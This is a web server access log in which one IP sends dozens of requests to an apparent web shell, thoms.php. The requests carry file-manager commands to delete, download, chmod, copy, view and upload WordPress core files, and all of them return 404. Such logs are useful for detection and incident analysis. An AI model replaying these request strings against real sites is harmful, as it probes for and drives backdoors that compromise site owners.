45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?del=class-wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?dl=taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:40 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?chmod=certificates&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?dl=class-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcomment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcomment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:41 -0400] "GET /thoms.php?chmod=template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?del=customize&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?del=class-requests.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?chmod=https-detection.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmedia.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmedia.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?dl=http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?del=sitemaps.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?del=feed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?chmod=class-pop3.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?dl=compat-utf8.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?del=cache-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?del=class-wp-exception.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?del=embed-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmedia-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fmedia-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftaxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ftaxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
